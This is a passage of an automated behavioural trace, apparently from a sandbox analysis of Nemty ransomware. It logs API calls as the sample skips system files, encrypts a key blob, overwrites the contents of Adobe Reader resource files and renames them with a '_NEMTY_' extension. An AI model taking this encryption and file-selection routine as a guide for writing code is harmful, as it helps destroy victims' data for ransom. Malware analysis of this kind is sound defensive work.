[0204.098] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="MSDOS.SYS") returned -1 [0204.098] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="IO.SYS") returned -1 [0204.098] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="boot.ini") returned 1 [0204.098] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="boot.ini") returned 1 [0204.098] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="AUTOEXEC.BAT") returned 1 [0204.098] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="ntuser.dat") returned -1 [0204.098] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="desktop.ini") returned 1 [0204.098] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="CONFIG.SYS") returned 1 [0204.098] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="RECYCLER") returned -1 [0204.098] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="BOOTSECT.BAK") returned 1 [0204.098] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="bootmgr") returned 1 [0204.098] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="programdata") returned -1 [0204.098] lstrcmpiW (lpString1="ETHK-B5-H", lpString2="appdata") returned 1 [0204.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETHK-B5-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0204.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETHK-B5-H", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETHK-B5-H", lpUsedDefaultChar=0x0) returned 9 [0204.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0204.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETHK-B5-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0204.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETHK-B5-H", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETHK-B5-H", lpUsedDefaultChar=0x0) returned 9 [0204.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0204.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETHK-B5-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0204.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETHK-B5-H", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETHK-B5-H", lpUsedDefaultChar=0x0) returned 9 [0204.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETHK-B5-H", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0204.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETHK-B5-H", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETHK-B5-H", lpUsedDefaultChar=0x0) returned 9 [0204.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0204.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0204.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0204.098] Sleep (dwMilliseconds=0x5) [0204.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d4ba9d0, dwHighDateTime=0x1d561e8)) [0204.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2d4ba9d0, dwHighDateTime=0x1d561e8)) [0204.108] GetLastError () returned 0x5 [0204.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0204.108] GetLastError () returned 0x5 [0204.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0204.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0204.108] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0204.108] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0204.109] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0204.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0204.109] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="cw/mWquHDJmCaxRHTZdkfVy8hrqKq4Dyow3LZEmX2YcgJ9DA3dOlDWpg1nqIOwHE\r\nLsDUOoyogK75Oa4t2p9EE2/EJIrVfSQ66CVIpcbzAlhipF5fDl0ZlNuuYJXV9274\r\nd6q7GirUYuuz4+a0Euu7uFVyv0JyLUnEfJqU79TMr6hf2th9P3/RmVeUP2zYCUjC\r\ndM9lDuHMUcO8vSBTKoBYwfyfKbXIthKnPjf+qL3LXrPQL2nBdKoM8plpf95/1uRN\r\n2GAJAEiTfEVml/TMocUFwG+rikfwf8quJnHCcJzXkaHltQe4M5/05hwPV9Sdd/Xy\r\nqWFHGR2KgnRVY2uwCZMCFQ==\r\n", pcchString=0x653e91c) returned 1 [0204.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0204.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0204.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0204.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0204.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0204.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0204.109] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ethk-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0204.109] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0204.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0204.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.109] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.118] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.118] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.130] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.130] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.130] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.140] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.140] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.149] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.149] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.159] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.159] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.168] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.168] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.177] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.178] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.178] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.187] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.187] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.187] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.187] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.197] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.207] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.207] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.213] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.213] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0204.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.222] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0204.222] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0204.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0204.222] CloseHandle (hObject=0xffffffff) returned 0 [0204.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0204.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0204.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0204.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0204.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0204.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0204.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0204.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0204.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0204.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0204.222] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ethk-b5-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ethk-b5-h._nemty_kgobjgd_")) returned 0 [0204.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0204.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0204.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0204.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0204.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0204.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0204.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0204.223] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETHK-B5-V", cAlternateFileName="ETHK-B~2")) returned 1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2=".") returned 1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="..") returned 1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="...") returned 1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="windows") returned -1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="$RECYCLE.BIN") returned 1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="rsa") returned -1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="NTDETECT.COM") returned -1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="ntldr") returned -1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="MSDOS.SYS") returned -1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="IO.SYS") returned -1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="boot.ini") returned 1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="boot.ini") returned 1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="AUTOEXEC.BAT") returned 1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="ntuser.dat") returned -1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="desktop.ini") returned 1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="CONFIG.SYS") returned 1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="RECYCLER") returned -1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="BOOTSECT.BAK") returned 1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="bootmgr") returned 1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="programdata") returned -1 [0204.223] lstrcmpiW (lpString1="ETHK-B5-V", lpString2="appdata") returned 1 [0204.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETHK-B5-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0204.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETHK-B5-V", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETHK-B5-V", lpUsedDefaultChar=0x0) returned 9 [0204.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0204.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETHK-B5-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0204.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETHK-B5-V", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETHK-B5-V", lpUsedDefaultChar=0x0) returned 9 [0204.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0204.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0204.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0204.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETHK-B5-V", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0204.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ETHK-B5-V", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ETHK-B5-V", lpUsedDefaultChar=0x0) returned 9 [0204.223] HeapFree 